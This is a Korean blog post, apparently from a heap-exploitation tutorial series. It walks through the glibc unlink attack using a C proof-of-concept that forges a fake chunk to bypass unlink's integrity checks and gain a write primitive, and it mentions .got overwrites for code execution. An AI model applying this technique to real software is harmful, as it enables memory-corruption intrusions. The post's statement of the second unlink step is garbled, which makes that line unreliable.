Unlink Exlpoit
Unlink 공격은 한때 꽤 흔했다. 그러나 두 가지 보안 검사가 unlink MACRO ("corrupted size vs. prev_size" 와 "corrupted double linked list" FD->bk != P || BK->fd != P )에 추가되어 공격의 영향을 어느 정도 줄였다.
그럼에도 불구하고, bin에서 chunk를 제거할때, unlink MACRO에서 수정된 포인터를 exploit한다.
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x80); // Points to 0xa0e010
chunk2 = malloc(0x80); // Points to 0xa0e0a0
// 공격자가 chunk1의 내용을 제어한다고 가정
// heap 오버플로우로 chunk2의 헤더가 덮힘
// 첫번째 수정한 fake chunk는 chunk1에서 시작함
// unlink security check을 우회하기 위해 fd와 bk 포인터를 설정해줘야함
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P 3 : 0x18
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P 2 : 0x10
// 모든 security check를 우회할 수 있도록 chunk2의 헤더를 수정한다.
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1의 데이터 영역의 size
chunk2_hdr->size &= ~1; // prev_inuse bit를 unsetting한다.
//chunk2가 free될때, 공격자의 fake chunk는 'unlink' 된다.
// chunk1의 포인터에 chunk1 - 3을 가리키는 포인터가 생성된다.
// i.e. chunk1[3]이 chunk1 자체가 포함됨
// 우리는 chunk1이 victim's data를 가리키도록 만든다.
free(chunk2);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL; // hex for "hacked!"
printf("%s\n", data); // Prints "hacked!"
먼저, smallbin 범위에 속하는 0x80사이즈의 chunk1 과 chunk2을 malloc한다. 그 다음 공격자가 chunk1의 내용을 제어할 수 있다고 가정한다.(strcpy와 같은 안전하지 않은 user input 사용) 두 청크는 메모리상에 나란히 위치하게 되고 chunk1에 데이터부분에 fake_chunk를 생성한다. 그리고 "corrupted double-linked list" security check을 우회하기 위해 fd와 bk포인터를 조정한다. 그리고 chunk2의 헤더를 덮어 prev_size와 prev_inuse 비트를 수정한다. 이렇게 하면 chunk2가 해제 될 때 fake_chunk가 unlink된다.
P ->fd -> bk == P 와 P -> bk -> fd == P check가 어떻게 pass되는가?
chunk2가 free되면, smallbin으로 간다. prev와 next chunk가 free되어있는지 아닌지 체크한다.
임의의 청크가 'free'로 탐지되면 연속적인 free 청크를 병합하기 위해 unlink된다.
unlink MACRO는 포인터를 수정하는 두가지 명령을 실행한다.
1. Set P -> fd -> bk = P -> bk
2. Set P -> bk -> fd = P -> bk
이 경우, P-> fd-> bk와 P-> bk-> fd는 같은 위치를 가리키고 있으므로 두 번째 업데이트 만 나타납니다. 다음 다이어그램은 chunk2가 해제 된 직후 두 번째 업데이트의 효과를 보여줍니다.
이제 chunk1은 (& chunk1-3)의 주소 (16 비트)를 가리킨다.
그러므로 chunk1 [3]은 실제로 chunk1이다. chunk1 [3] 변경은 chunk1을 변경하는 것과 같다.
침입자는 chunk1 자체 대신에 chunk1 (chunk1 [3]) 위치의 데이터를 업데이트 할 수있는 기회를 얻는다.
이 예제에서 chunk1은 'data'변수를 가리키게되고 chunk1을 통한 변경 사항은 해당 변수에 반영됩니다.
.got 섹션을 덮어 쓰면 임의 코드가 실행됩니다.
'Heap' 카테고리의 다른 글
13.House of spirit (0) | 2018.06.20 |
---|---|
12.Shrinking Free Chunks (0) | 2018.06.19 |
10.Forging chunks (0) | 2018.06.07 |
09.Double Free (0) | 2018.06.07 |
08.First-fit behavior (0) | 2018.06.06 |